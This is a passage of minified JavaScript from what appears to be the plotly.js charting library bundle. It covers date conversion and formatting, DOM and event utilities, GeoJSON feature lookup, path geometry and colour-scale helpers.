M=e(84096).i$,P=e(92770),o=e(47769),L=e(64872).mod,S=e(50606),d=S.BADNUM,g=S.ONEDAY,t=S.ONEHOUR,r=S.ONEMIN,f=S.ONESEC,a=S.EPOCHJD,l=e(73972),u=e(84096).g0,s=/^\s*(-?\d\d\d\d|\d\d)(-(\d?\d)(-(\d?\d)([ Tt]([01]?\d|2[0-3])(:([0-5]\d)(:([0-5]\d(\.\d+)?))?(Z|z|[+\-]\d\d(:?\d\d)?)?)?)?)?)?\s*$/m,y=/^\s*(-?\d\d\d\d|\d\d)(-(\d?\di?)(-(\d?\d)([ Tt]([01]?\d|2[0-3])(:([0-5]\d)(:([0-5]\d(\.\d+)?))?(Z|z|[+\-]\d\d(:?\d\d)?)?)?)?)?)?\s*$/m,c=new Date().getFullYear()-70;function b(_){return _&&l.componentsRegistry.calendars&&typeof _=="string"&&_!=="gregorian"}Z.dateTick0=function(_,F){var O=h(_,!!F);if(F<2)return O;var z=Z.dateTime2ms(O,_);return z+=g*(F-1),Z.ms2DateTime(z,0,_)};function h(_,F){return b(_)?F?l.getComponentMethod("calendars","CANONICAL_SUNDAY")[_]:l.getComponentMethod("calendars","CANONICAL_TICK")[_]:F?"2000-01-02":"2000-01-01"}Z.dfltRange=function(_){return b(_)?l.getComponentMethod("calendars","DFLTRANGE")[_]:["2000-01-01","2001-01-01"]},Z.isJSDate=function(_){return typeof _=="object"&&_!==null&&typeof _.getTime=="function"};var i,v;Z.dateTime2ms=function(_,F){if(Z.isJSDate(_)){var O=_.getTimezoneOffset()*r,z=(_.getUTCMinutes()-_.getMinutes())*r+(_.getUTCSeconds()-_.getSeconds())*f+(_.getUTCMilliseconds()-_.getMilliseconds());if(z){var N=3*r;O=O-N/2+L(z-O+N/2,N)}return _=Number(_)-O,_>=i&&_<=v?_:d}if(typeof _!="string"&&typeof _!="number")return d;_=String(_);var G=b(F),J=_.charAt(0);G&&(J==="G"||J==="g")&&(_=_.substr(1),F="");var q=G&&F.substr(0,7)==="chinese",ne=_.match(q?y:s);if(!ne)return d;var fe=ne[1],X=ne[3]||"1",W=Number(ne[5]||1),V=Number(ne[7]||0),Y=Number(ne[9]||0),Q=Number(ne[11]||0);if(G){if(fe.length===2)return d;fe=Number(fe);var ie;try{var j=l.getComponentMethod("calendars","getCal")(F);if(q){var K=X.charAt(X.length-1)==="i";X=parseInt(X,10),ie=j.newDate(fe,j.toMonthIndex(fe,X,K),W)}else ie=j.newDate(fe,Number(X),W)}catch{return d}return ie?(ie.toJD()-a)*g+V*t+Y*r+Q*f:d}fe.length===2?fe=(Number(fe)+2e3-c)%100+c:fe=Number(fe),X-=1;var oe=new Date(Date.UTC(2e3,X,W,V,Y));return oe.setUTCFullYear(fe),oe.getUTCMonth()!==X||oe.getUTCDate()!==W?d:oe.getTime()+Q*f},i=Z.MIN_MS=Z.dateTime2ms("-9999"),v=Z.MAX_MS=Z.dateTime2ms("9999-12-31 23:59:59.9999"),Z.isDateTime=function(_,F){return Z.dateTime2ms(_,F)!==d};function T(_,F){return String(_+Math.pow(10,F)).substr(1)}var w=90*g,E=3*t,p=5*r;Z.ms2DateTime=function(_,F,O){if(typeof _!="number"||!(_>=i&&_<=v))return d;F||(F=0);var z=Math.floor(L(_+.05,1)*10),N=Math.round(_-z/10),G,J,q,ne,fe,X;if(b(O)){var W=Math.floor(N/g)+a,V=Math.floor(L(_,g));try{G=l.getComponentMethod("calendars","getCal")(O).fromJD(W).formatDate("yyyy-mm-dd")}catch{G=u("G%Y-%m-%d")(new Date(N))}if(G.charAt(0)==="-")for(;G.length<11;)G="-0"+G.substr(1);else for(;G.length<10;)G="0"+G;J=F<w?Math.floor(V/t):0,q=F<w?Math.floor(V%t/r):0,ne=F<E?Math.floor(V%r/f):0,fe=F<p?V%f*10+z:0}else X=new Date(N),G=u("%Y-%m-%d")(X),J=F<w?X.getUTCHours():0,q=F<w?X.getUTCMinutes():0,ne=F<E?X.getUTCSeconds():0,fe=F<p?X.getUTCMilliseconds()*10+z:0;return A(G,J,q,ne,fe)},Z.ms2DateTimeLocal=function(_){if(!(_>=i+g&&_<=v-g))return d;var F=Math.floor(L(_+.05,1)*10),O=new Date(Math.round(_-F/10)),z=M("%Y-%m-%d")(O),N=O.getHours(),G=O.getMinutes(),J=O.getSeconds(),q=O.getUTCMilliseconds()*10+F;return A(z,N,G,J,q)};function A(_,F,O,z,N){if((F||O||z||N)&&(_+=" "+T(F,2)+":"+T(O,2),(z||N)&&(_+=":"+T(z,2),N))){for(var G=4;N%10===0;)G-=1,N/=10;_+="."+T(N,G)}return _}Z.cleanDate=function(_,F,O){if(_===d)return F;if(Z.isJSDate(_)||typeof _=="number"&&isFinite(_)){if(b(O))return o.error("JS Dates and milliseconds are incompatible with world calendars",_),F;if(_=Z.ms2DateTimeLocal(+_),!_&&F!==void 0)return F}else if(!Z.isDateTime(_,O))return o.error("unrecognized date",_),F;return _};var m=/%\d?f/g,n=/%h/g,C={1:"1",2:"1",3:"2",4:"2"};function x(_,F,O,z){_=_.replace(m,function(G){var J=Math.min(+G.charAt(1)||6,6),q=(F/1e3%1+2).toFixed(J).substr(2).replace(/0+$/,"")||"0";return q});var N=new Date(Math.floor(F+.05));if(_=_.replace(n,function(){return C[O("%q")(N)]}),b(z))try{_=l.getComponentMethod("calendars","worldCalFmt")(_,F,z)}catch{return"Invalid"}return O(_)(N)}var I=[59,59.9,59.99,59.999,59.9999];function k(_,F){var O=L(_+.05,g),z=T(Math.floor(O/t),2)+":"+T(L(Math.floor(O/r),60),2);if(F!=="M"){P(F)||(F=0);var N=Math.min(L(_/f,60),I[F]),G=(100+N).toFixed(F).substr(1);F>0&&(G=G.replace(/0+$/,"").replace(/[\.]$/,"")),z+=":"+G}return z}Z.formatDate=function(_,F,O,z,N,G){if(N=b(N)&&N,!F)if(O==="y")F=G.year;else if(O==="m")F=G.month;else if(O==="d")F=G.dayMonth+`
`+G.year;else return k(_,O)+`
`+x(G.dayMonthYear,_,z,N);return x(F,_,z,N)};var B=3*g;Z.incrementMonth=function(_,F,O){O=b(O)&&O;var z=L(_,g);if(_=Math.round(_-z),O)try{var N=Math.round(_/g)+a,G=l.getComponentMethod("calendars","getCal")(O),J=G.fromJD(N);return F%12?G.add(J,F,"m"):G.add(J,F/12,"y"),(J.toJD()-a)*g+z}catch{o.error("invalid ms "+_+" in calendar "+O)}var q=new Date(_+B);return q.setUTCMonth(q.getUTCMonth()+F)+z-B},Z.findExactDates=function(_,F){for(var O=0,z=0,N=0,G=0,J,q,ne=b(F)&&l.getComponentMethod("calendars","getCal")(F),fe=0;fe<_.length;fe++){if(q=_[fe],!P(q)){G++;continue}if(!(q%g))if(ne)try{J=ne.fromJD(q/g+a),J.day()===1?J.month()===1?O++:z++:N++}catch{}else J=new Date(q),J.getUTCDate()===1?J.getUTCMonth()===0?O++:z++:N++}z+=O,N+=z;var X=_.length-G;return{exactYears:O/X,exactMonths:z/X,exactDays:N/X}}},24401:function(te,Z,e){var M=e(39898),P=e(47769),o=e(35657),L=e(79576);function S(c){var b;if(typeof c=="string"){if(b=document.getElementById(c),b===null)throw new Error("No DOM element with id '"+c+"' exists on the page.");return b}else if(c==null)throw new Error("DOM element provided is null or undefined");return c}function d(c){var b=M.select(c);return b.node()instanceof HTMLElement&&b.size()&&b.classed("js-plotly-plot")}function g(c){var b=c&&c.parentNode;b&&b.removeChild(c)}function t(c,b){r("global",c,b)}function r(c,b,h){var i="plotly.js-style-"+c,v=document.getElementById(i);v||(v=document.createElement("style"),v.setAttribute("id",i),v.appendChild(document.createTextNode("")),document.head.appendChild(v));var T=v.sheet;T.insertRule?T.insertRule(b+"{"+h+"}",0):T.addRule?T.addRule(b,h,0):P.warn("addStyleRule failed")}function f(c){var b="plotly.js-style-"+c,h=document.getElementById(b);h&&g(h)}function a(c){var b=u(c),h=[1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1];return b.forEach(function(i){var v=l(i);if(v){var T=o.convertCssMatrix(v);h=L.multiply(h,h,T)}}),h}function l(c){var b=window.getComputedStyle(c,null),h=b.getPropertyValue("-webkit-transform")||b.getPropertyValue("-moz-transform")||b.getPropertyValue("-ms-transform")||b.getPropertyValue("-o-transform")||b.getPropertyValue("transform");return h==="none"?null:h.replace("matrix","").replace("3d","").slice(1,-1).split(",").map(function(i){return+i})}function u(c){for(var b=[];s(c);)b.push(c),c=c.parentNode;return b}function s(c){return c&&(c instanceof Element||c instanceof HTMLElement)}function y(c,b){return c&&b&&c.top===b.top&&c.left===b.left&&c.right===b.right&&c.bottom===b.bottom}te.exports={getGraphDiv:S,isPlotDiv:d,removeElement:g,addStyleRule:t,addRelatedStyleRule:r,deleteRelatedStyleRule:f,getFullTransformMatrix:a,getElementTransformMatrix:l,getElementAndAncestors:u,equalDomRects:y}},11086:function(te,Z,e){var M=e(15398).EventEmitter,P={init:function(o){if(o._ev instanceof M)return o;var L=new M,S=new M;return o._ev=L,o._internalEv=S,o.on=L.on.bind(L),o.once=L.once.bind(L),o.removeListener=L.removeListener.bind(L),o.removeAllListeners=L.removeAllListeners.bind(L),o._internalOn=S.on.bind(S),o._internalOnce=S.once.bind(S),o._removeInternalListener=S.removeListener.bind(S),o._removeAllInternalListeners=S.removeAllListeners.bind(S),o.emit=function(d,g){typeof jQuery<"u"&&jQuery(o).trigger(d,g),L.emit(d,g),S.emit(d,g)},o},triggerHandler:function(o,L,S){var d,g;typeof jQuery<"u"&&(d=jQuery(o).triggerHandler(L,S));var t=o._ev;if(!t)return d;var r=t._events[L];if(!r)return d;function f(l){if(l.listener){if(t.removeListener(L,l.listener),!l.fired)return l.fired=!0,l.listener.apply(t,[S])}else return l.apply(t,[S])}r=Array.isArray(r)?r:[r];var a;for(a=0;a<r.length-1;a++)f(r[a]);return g=f(r[a]),d!==void 0?d:g},purge:function(o){return delete o._ev,delete o.on,delete o.once,delete o.removeListener,delete o.removeAllListeners,delete o.emit,delete o._ev,delete o._internalEv,delete o._internalOn,delete o._internalOnce,delete o._removeInternalListener,delete o._removeAllInternalListeners,o}};te.exports=P},1426:function(te,Z,e){var M=e(41965),P=Array.isArray;function o(S,d){var g,t;for(g=0;g<S.length;g++){if(t=S[g],t!==null&&typeof t=="object")return!1;t!==void 0&&(d[g]=t)}return!0}Z.extendFlat=function(){return L(arguments,!1,!1,!1)},Z.extendDeep=function(){return L(arguments,!0,!1,!1)},Z.extendDeepAll=function(){return L(arguments,!0,!0,!1)},Z.extendDeepNoArrays=function(){return L(arguments,!0,!1,!0)};function L(S,d,g,t){var r=S[0],f=S.length,a,l,u,s,y,c,b;if(f===2&&P(r)&&P(S[1])&&r.length===0){if(b=o(S[1],r),b)return r;r.splice(0,r.length)}for(var h=1;h<f;h++){a=S[h];for(l in a)u=r[l],s=a[l],t&&P(s)?r[l]=s:d&&s&&(M(s)||(y=P(s)))?(y?(y=!1,c=u&&P(u)?u:[]):c=u&&M(u)?u:{},r[l]=L([c,s],d,g,t)):(typeof s<"u"||g)&&(r[l]=s)}return r}},75744:function(te){te.exports=function(e){for(var M={},P=[],o=0,L=0;L<e.length;L++){var S=e[L];M[S]!==1&&(M[S]=1,P[o++]=S)}return P}},76756:function(te){te.exports=function(o){for(var L=M(o)?e:Z,S=[],d=0;d<o.length;d++){var g=o[d];L(g)&&S.push(g)}return S};function Z(P){return P.visible===!0}function e(P){var o=P[0].trace;return o.visible===!0&&o._length!==0}function M(P){return Array.isArray(P)&&Array.isArray(P[0])&&P[0][0]&&P[0][0].trace}},41327:function(te,Z,e){var M=e(39898),P=e(24138),o=e(30774),L=e(29261),S=e(85268),d=e(23389),g=e(47769),t=e(41965),r=e(65487),f=e(61082),a=Object.keys(P),l={"ISO-3":d,"USA-states":d,"country names":u};function u(T){for(var w=0;w<a.length;w++){var E=a[w],p=new RegExp(P[E]);if(p.test(T.trim().toLowerCase()))return E}return g.log("Unrecognized country name: "+T+"."),!1}function s(T,w,E){if(!w||typeof w!="string")return!1;var p=l[T](w),A,m,n;if(p){if(T==="USA-states")for(A=[],n=0;n<E.length;n++)m=E[n],m.properties&&m.properties.gu&&m.properties.gu==="USA"&&A.push(m);else A=E;for(n=0;n<A.length;n++)if(m=A[n],m.id===p)return m;g.log(["Location with id",p,"does not have a matching topojson feature at this resolution."].join(" "))}return!1}function y(T){var w=T.geometry,E=w.coordinates,p=T.id,A=[],m,n,C,x;function I(k){for(var B=0;B<k.length-1;B++)if(k[B][0]>0&&k[B+1][0]<0)return B;return null}switch(p==="RUS"||p==="FJI"?m=function(k){var B;if(I(k)===null)B=k;else for(B=new Array(k.length),x=0;x<k.length;x++)B[x]=[k[x][0]<0?k[x][0]+360:k[x][0],k[x][1]];A.push(f.tester(B))}:p==="ATA"?m=function(k){var B=I(k);if(B===null)return A.push(f.tester(k));var _=new Array(k.length+1),F=0;for(x=0;x<k.length;x++)x>B?_[F++]=[k[x][0]+360,k[x][1]]:x===B?(_[F++]=k[x],_[F++]=[k[x][0],-90]):_[F++]=k[x];var O=f.tester(_);O.pts.pop(),A.push(O)}:m=function(k){A.push(f.tester(k))},w.type){case"MultiPolygon":for(n=0;n<E.length;n++)for(C=0;C<E[n].length;C++)m(E[n][C]);break;case"Polygon":for(n=0;n<E.length;n++)m(E[n]);break}return A}function c(T){var w=T.geojson,E=window.PlotlyGeoAssets||{},p=typeof w=="string"?E[w]:w;return t(p)?p:(g.error("Oops ... something went wrong when fetching "+w),!1)}function b(T){var w=T[0].trace,E=c(w);if(!E)return!1;var p={},A=[],m;for(m=0;m<w._length;m++){var n=T[m];(n.loc||n.loc===0)&&(p[n.loc]=n)}function C(k){var B=r(k,w.featureidkey||"id").get(),_=p[B];if(_){var F=k.geometry;if(F.type==="Polygon"||F.type==="MultiPolygon"){var O={type:"Feature",id:B,geometry:F,properties:{}};O.properties.ct=h(O),_.fIn=k,_.fOut=O,A.push(O)}else g.log(["Location",_.loc,"does not have a valid GeoJSON geometry.","Traces with locationmode *geojson-id* only support","*Polygon* and *MultiPolygon* geometries."].join(" "))}delete p[B]}switch(E.type){case"FeatureCollection":var x=E.features;for(m=0;m<x.length;m++)C(x[m]);break;case"Feature":C(E);break;default:return g.warn(["Invalid GeoJSON type",(E.type||"none")+".","Traces with locationmode *geojson-id* only support","*FeatureCollection* and *Feature* types."].join(" ")),!1}for(var I in p)g.log(["Location *"+I+"*","does not have a matching feature with id-key","*"+w.featureidkey+"*."].join(" "));return A}function h(T){var w=T.geometry,E;if(w.type==="MultiPolygon")for(var p=w.coordinates,A=0,m=0;m<p.length;m++){var n={type:"Polygon",coordinates:p[m]},C=o.default(n);C>A&&(A=C,E=n)}else E=w;return L.default(E).geometry.coordinates}function i(T){var w=window.PlotlyGeoAssets||{},E=[];function p(x){return new Promise(function(I,k){M.json(x,function(B,_){if(B){delete w[x];var F=B.status===404?'GeoJSON at URL "'+x+'" does not exist.':"Unexpected error while fetching from "+x;return k(new Error(F))}return w[x]=_,I(_)})})}function A(x){return new Promise(function(I,k){var B=0,_=setInterval(function(){if(w[x]&&w[x]!=="pending")return clearInterval(_),I(w[x]);if(B>100)return clearInterval(_),k("Unexpected error while fetching from "+x);B++},50)})}for(var m=0;m<T.length;m++){var n=T[m][0].trace,C=n.geojson;typeof C=="string"&&(w[C]?w[C]==="pending"&&E.push(A(C)):(w[C]="pending",E.push(p(C))))}return E}function v(T){return S.default(T)}te.exports={locationToFeature:s,feature2polygons:y,getTraceGeojson:c,extractTraceFeature:b,fetchTraceGeoData:i,computeBbox:v}},18214:function(te,Z,e){var M=e(50606).BADNUM;Z.calcTraceToLineCoords=function(P){for(var o=P[0].trace,L=o.connectgaps,S=[],d=[],g=0;g<P.length;g++){var t=P[g],r=t.lonlat;r[0]!==M?d.push(r):!L&&d.length>0&&(S.push(d),d=[])}return d.length>0&&S.push(d),S},Z.makeLine=function(P){return P.length===1?{type:"LineString",coordinates:P[0]}:{type:"MultiLineString",coordinates:P}},Z.makePolygon=function(P){if(P.length===1)return{type:"Polygon",coordinates:P};for(var o=new Array(P.length),L=0;L<P.length;L++)o[L]=[P[L]];return{type:"MultiPolygon",coordinates:o}},Z.makeBlank=function(){return{type:"Point",coordinates:[]}}},87642:function(te,Z,e){var M=e(64872).mod;Z.segmentsIntersect=P;function P(g,t,r,f,a,l,u,s){var y=r-g,c=a-g,b=u-a,h=f-t,i=l-t,v=s-l,T=y*v-b*h;if(T===0)return null;var w=(c*v-b*i)/T,E=(c*h-y*i)/T;return E<0||E>1||w<0||w>1?null:{x:g+y*w,y:t+h*w}}Z.segmentDistance=function(t,r,f,a,l,u,s,y){if(P(t,r,f,a,l,u,s,y))return 0;var c=f-t,b=a-r,h=s-l,i=y-u,v=c*c+b*b,T=h*h+i*i,w=Math.min(o(c,b,v,l-t,u-r),o(c,b,v,s-t,y-r),o(h,i,T,t-l,r-u),o(h,i,T,f-l,a-u));return Math.sqrt(w)};function o(g,t,r,f,a){var l=f*g+a*t;if(l<0)return f*f+a*a;if(l>r){var u=f-g,s=a-t;return u*u+s*s}else{var y=f*t-a*g;return y*y/r}}var L,S,d;Z.getTextLocation=function(t,r,f,a){if((t!==S||a!==d)&&(L={},S=t,d=a),L[f])return L[f];var l=t.getPointAtLength(M(f-a/2,r)),u=t.getPointAtLength(M(f+a/2,r)),s=Math.atan((u.y-l.y)/(u.x-l.x)),y=t.getPointAtLength(M(f,r)),c=(y.x*4+l.x+u.x)/6,b=(y.y*4+l.y+u.y)/6,h={x:c,y:b,theta:s};return L[f]=h,h},Z.clearLocationCache=function(){S=null},Z.getVisibleSegment=function(t,r,f){var a=r.left,l=r.right,u=r.top,s=r.bottom,y=0,c=t.getTotalLength(),b=c,h,i;function v(w){var E=t.getPointAtLength(w);w===0?h=E:w===c&&(i=E);var p=E.x<a?a-E.x:E.x>l?E.x-l:0,A=E.y<u?u-E.y:E.y>s?E.y-s:0;return Math.sqrt(p*p+A*A)}for(var T=v(y);T;){if(y+=T+f,y>b)return;T=v(y)}for(T=v(b);T;){if(b-=T+f,y>b)return;T=v(b)}return{min:y,max:b,len:b-y,total:c,isClosed:y===0&&b===c&&Math.abs(h.x-i.x)<.1&&Math.abs(h.y-i.y)<.1}},Z.findPointOnPath=function(t,r,f,a){a=a||{};for(var l=a.pathLength||t.getTotalLength(),u=a.tolerance||.001,s=a.iterationLimit||30,y=t.getPointAtLength(0)[f]>t.getPointAtLength(l)[f]?-1:1,c=0,b=0,h=l,i,v,T;c<s;){if(i=(b+h)/2,v=t.getPointAtLength(i),T=v[f]-r,Math.abs(T)<u)return v;y*T>0?h=i:b=i,c++}return v}},81697:function(te,Z,e){var M=e(92770),P=e(84267),o=e(25075),L=e(21081),S=e(22399).defaultLine,d=e(73627).isArrayOrTypedArray,g=o(S),t=1;function r(s,y){var c=s;return c[3]*=y,c}function f(s){if(M(s))return g;var y=o(s);return y.length?y:g}function a(s){return M(s)?s:t}function l(s,y,c){var b=s.color,h=d(b),i=d(y),v=L.extractOpts(s),T=[],w,E,p,A,m;if(v.colorscale!==void 0?w=L.makeColorScaleFuncFromTrace(s):w=f,h?E=function(C,x){return C[x]===void 0?g:o(w(C[x]))}:E=f,i?p=function(C,x){return C[x]===void 0?t:a(C[x])}:p=a,h||i)for(var n=0;n<c;n++)A=E(b,n),m=p(y,n),T[n]=r(A,m);else T=r(o(b),y);return T}function u(s){var y=L.extractOpts(s),c=y.colorscale;return y.reversescale&&(c=L.flipScale(y.colorscale)),c.map(function(b){var h=b[0],i=P(b[1]),v=i.toRgb();return{index:h,rgb:[v.r,v.g,v.b,v.a]}})}te.exports={formatColor:l,parseColorScale:u}},28984:function(te,Z,e){var M=e(23389);function P(o){return[o]}te.exports={keyFun:function(o){return o.key},repeat:P,descend:M,wrap:P,unwrap:function(o){return o[0]}}},23389:function(te){te.exports=function(e){return e}},39240:function(te){te.exports=function(e,M){if(!M)return e;var P=1/Math.abs(M),o=P>1?(P*e+P*M)/P:e+M,L=String(o).length;if(L>16){var S=String(M).length,d=String(e).length;if(L>=d+S){var g=parseFloat(o).toPrecision(12);g.indexOf("e+")===-1&&(o=+g)}}return o}},71828:function(te,Z,e){var M=e(39898),P=e(84096).g0,o=e(60721).WU,L=e(92770),S=e(50606),d=S.FP_SAFE,g=-d,t=S.BADNUM,r=te.exports={};r.adjustFormat=function(Q){return!Q||/^\d[.]\df/.test(Q)||/[.]\d%/.test(Q)?Q:Q==="0.f"?"~f":/^\d%/.test(Q)?"~%":/^\ds/.test(Q)?"~s":!/^[~,.0$]/.test(Q)&&/[&fps]/.test(Q)?"~"+Q:Q};var f={};r.warnBadFormat=function(Y){var Q=String(Y);f[Q]||(f[Q]=1,r.warn('encountered bad format: "'+Q+'"'))},r.noFormat=function(Y){return String(Y)},r.numberFormat=function(Y){var Q;try{Q=o(r.adjustFormat(Y))}catch{return r.warnBadFormat(Y),r.noFormat}return Q},r.nestedProperty=e(65487),r.keyedContainer=e(66636),r.relativeAttr=e(6962),r.isPlainObject=e(41965),r.toLogRange=e(58163),r.relinkPrivateKeys=e(51332);var a=e(73627);r.isTypedArray=a.isTypedArray,r.isArrayOrTypedArray=a.isArrayOrTypedArray,r.isArray1D=a.isArray1D,r.ensureArray=a.ensureArray,r.concat=a.concat,r.maxRowLength=a.maxRowLength,r.minRowLength=a.minRowLength;var l=e(64872);r.mod=l.mod,r.modHalf=l.modHalf;var u=e(96554);r.valObjectMeta=u.valObjectMeta,r.coerce=u.coerce,r.coerce2=u.coerce2,r.coerceFont=u.coerceFont,r.coercePattern=u.coercePattern,r.coerceHoverinfo=u.coerceHoverinfo,r.coerceSelectionMarkerOpacity=u.coerceSelectionMarkerOpacity,r.validate=u.validate;var s=e(41631);r.dateTime2ms=s.dateTime2ms,r.isDateTime=s.isDateTime,r.ms2DateTime=s.ms2DateTime,r.ms2DateTimeLocal=s.ms2DateTimeLocal,r.cleanDate=s.cleanDate,r.isJSDate=s.isJSDate,r.formatDate=s.formatDate,r.incrementMonth=s.incrementMonth,r.dateTick0=s.dateTick0,r.dfltRange=s.dfltRange,r.findExactDates=s.findExactDates,r.MIN_MS=s.MIN_MS,r.MAX_MS=s.MAX_MS;var y=e(65888);r.findBin=y.findBin,r.sorterAsc=y.sorterAsc,r.sorterDes=y.sorterDes,r.distinctVals=y.distinctVals,r.roundUp=y.roundUp,r.sort=y.sort,r.findIndexOfMin=y.findIndexOfMin,r.sortObjectKeys=e(78607);var c=e(80038);r.aggNums=c.aggNums,r.len=c.len,r.mean=c.mean,r.median=c.median,r.midRange=c.midRange,r.variance=c.variance,r.stdev=c.stdev,r.interp=c.interp;var b=e(35657);r.init2dArray=b.init2dArray,r.transposeRagged=b.transposeRagged,r.dot=b.dot,r.translationMatrix=b.translationMatrix,r.rotationMatrix=b.rotationMatrix,r.rotationXYMatrix=b.rotationXYMatrix,r.apply3DTransform=b.apply3DTransform,r.apply2DTransform=b.apply2DTransform,r.apply2DTransform2=b.apply2DTransform2,r.convertCssMatrix=b.convertCssMatrix,r.inverseTransformMatrix=b.inverseTransformMatrix;var h=e(26348);r.deg2rad=h.deg2rad,r.rad2deg=h.rad2deg,r.angleDelta=h.angleDelta,r.angleDist=h.angleDist,r.isFullCircle=h.isFullCircle,r.isAngleInsideSector=h.isAngleInsideSector,r.isPtInsideSector=h.isPtInsideSector,r.pathArc=h.pathArc,r.pathSector=h.pathSector,r.pathAnnulus=h.pathAnnulus;var i=e(99863);r.isLeftAnchor=i.isLeftAnchor,r.isCenterAnchor=i.isCenterAnchor,r.isRightAnchor=i.isRightAnchor,r.isTopAnchor=i.isTopAnchor,r.isMiddleAnchor=i.isMiddleAnchor,r.isBottomAnchor=i.isBottomAnchor;var v=e(87642);r.segmentsIntersect=v.segmentsIntersect,r.segmentDistance=v.segmentDistance,r.getTextLocation=v.getTextLocation,r.clearLocationCache=v.clearLocationCache,r.getVisibleSegment=v.getVisibleSegment,r.findPointOnPath=v.findPointOnPath;var T=e(1426);r.extendFlat=T.extendFlat,r.extendDeep=T.extendDeep,r.extendDeepAll=T.extendDeepAll,r.extendDeepNoArrays=T.extendDeepNoArrays;var w=e(47769);r.log=w.log,r.warn=w.warn,r.error=w.error;var E=e(30587);r.counterRegex=E.counter;var p=e(79990);r.throttle=p.throttle,r.throttleDone=p.done,r.clearThrottle=p.clear;var A=e(24401);r.getGraphDiv=A.getGraphDiv,r.isPlotDiv=A.isPlotDiv,r.removeElement=A.removeElement,r.addStyleRule=A.addStyleRule,r.addRelatedStyleRule=A.addRelatedStyleRule,r.deleteRelatedStyleRule=A.deleteRelatedStyleRule,r.getFullTransformMatrix=A.getFullTransformMatrix,r.getElementTransformMatrix=A.getElementTransformMatrix,r.getElementAndAncestors=A.getElementAndAncestors,r.equalDomRects=A.equalDomRects,r.clearResponsive=e(86367),r.preserveDrawingBuffer=e(45142),r.makeTraceGroups=e(77310),r._=e(15867),r.notifier=e(75046),r.filterUnique=e(75744),r.filterVisible=e(76756),r.pushUnique=e(75138),r.increment=e(39240),r.cleanNumber=e(95218),r.ensureNumber=function(Q){return L(Q)?(Q=Number(Q),Q>d||Q<g?t:Q):t},r.isIndex=function(Y,Q){return Q!==void 0&&Y>=Q?!1:L(Y)&&Y>=0&&Y%1===0},r.noop=e(64213),r.identity=e(23389),r.repeat=function(Y,Q){for(var ie=new Array(Q),j=0;j<Q;j++)ie[j]=Y;return ie},r.swapAttrs=function(Y,Q,ie,j){ie||(ie="x"),j||(j="y");for(var K=0;K<Q.length;K++){var oe=Q[K],re=r.nestedProperty(Y,oe.replace("?",ie)),le=r.nestedProperty(Y,oe.replace("?",j)),pe=re.get();re.set(le.get()),le.set(pe)}},r.raiseToTop=function(Q){Q.parentNode.appendChild(Q)},r.cancelTransition=function(Y){return Y.transition().duration(0)},r.constrain=function(Y,Q,ie){return Q>ie?Math.max(ie,Math.min(Q,Y)):Math.max(Q,Math.min(ie,Y))},r.bBoxIntersect=function(Y,Q,ie){return ie=ie||0,Y.left<=Q.right+ie&&Q.left<=Y.right+ie&&Y.top<=Q.bottom+ie&&Q.top<=Y.bottom+ie},r.simpleMap=function(Y,Q,ie,j,K){for(var oe=Y.length,re=new Array(oe),le=0;le<oe;le++)re[le]=Q(Y[le],ie,j,K);return re},r.randstr=function Y(Q,ie,j,K){if(j||(j=16),ie===void 0&&(ie=24),ie<=0)return"0";var oe=Math.log(Math.pow(2,ie))/Math.log(j),re="",le,pe,we;for(le=2;oe===1/0;le*=2)oe=Math.log(Math.pow(2,ie/le))/Math.log(j)*le;var xe=oe-Math.floor(oe);for(le=0;le<Math.floor(oe);le++)we=Math.floor(Math.random()*j).toString(j),re=we+re;xe&&(pe=Math.pow(j,xe),we=Math.floor(Math.random()*pe).toString(j),re=we+re);var ke=parseInt(re,j);return Q&&Q[re]||ke!==1/0&&ke>=Math.pow(2,ie)?K>10?(r.warn("randstr failed uniqueness"),re):Y(Q,ie,j,(K||0)+1):re},r.OptionControl=function(Y,Q){Y||(Y={}),Q||(Q="opt");var ie={};return ie.optionList=[],ie._newoption=function(j){j[Q]=Y,ie[j.name]=j,ie.optionList.push(j)},ie["_"+Q]=Y,ie},r.smooth=function(Y,Q){if(Q=Math.round(Q)||0,Q<2)return Y;var ie=Y.length,j=2*ie,K=2*Q-1,oe=new Array(K),re=new Array(ie),le,pe,we,xe;for(le=0;le<K;le++)oe[le]=(1-Math.cos(Math.PI*(le+1)/Q))/(2*Q);for(le=0;le<ie;le++){for(xe=0,pe=0;pe<K;pe++)we=le+pe+1-Q,we<-ie?we-=j*Math.round(we/j):we>=j&&(we-=j*Math.floor(we/j)),we<0?we=-1-we:we>=ie&&(we=j-1-we),xe+=Y[we]*oe[pe];re[le]=xe}return re},r.syncOrAsync=function(Y,Q,ie){var j,K;function oe(){return r.syncOrAsync(Y,Q,ie)}for(;Y.length;)if(K=Y.splice(0,1)[0],j=K(Q),j&&j.then)return j.then(oe);return ie&&ie(Q)},r.stripTrailingSlash=function(Y){return Y.substr(-1)==="/"?Y.substr(0,Y.length-1):Y},r.noneOrAll=function(Y,Q,ie){if(Y){var j=!1,K=!0,oe,re;for(oe=0;oe<ie.length;oe++)re=Y[ie[oe]],re!=null?j=!0:K=!1;if(j&&!K)for(oe=0;oe<ie.length;oe++)Y[ie[oe]]=Q[ie[oe]]}},r.mergeArray=function(Y,Q,ie,j){var K=typeof j=="function";if(r.isArrayOrTypedArray(Y))for(var oe=Math.min(Y.length,Q.length),re=0;re<oe;re++){var le=Y[re];Q[re][ie]=K?j(le):le}},r.mergeArrayCastPositive=function(Y,Q,ie){return r.mergeArray(Y,Q,ie,function(j){var K=+j;return isFinite(K)&&K>0?K:0})},r.fillArray=function(Y,Q,ie,j){if(j=j||r.identity,r.isArrayOrTypedArray(Y))for(var K=0;K<Q.length;K++)Q[K][ie]=j(Y[K])},r.castOption=function(Y,Q,ie,j){j=j||r.identity;var K=r.nestedProperty(Y,ie).get();return r.isArrayOrTypedArray(K)?Array.isArray(Q)&&r.isArrayOrTypedArray(K[Q[0]])?j(K[Q[0]][Q[1]]):j(K[Q]):K},r.extractOption=function(Y,Q,ie,j){if(ie in Y)return Y[ie];var K=r.nestedProperty(Q,j).get();if(!Array.isArray(K))return K};function m(Y){var Q={};for(var ie in Y)for(var j=Y[ie],K=0;K<j.length;K++)Q[j[K]]=+ie;return Q}r.tagSelected=function(Y,Q,ie){var j=Q.selectedpoints,K=Q._indexToPoints,oe;K&&(oe=m(K));function re(ke){return ke!==void 0&&ke<Y.length}for(var le=0;le<j.length;le++){var pe=j[le];if(r.isIndex(pe)||r.isArrayOrTypedArray(pe)&&r.isIndex(pe[0])&&r.isIndex(pe[1])){var 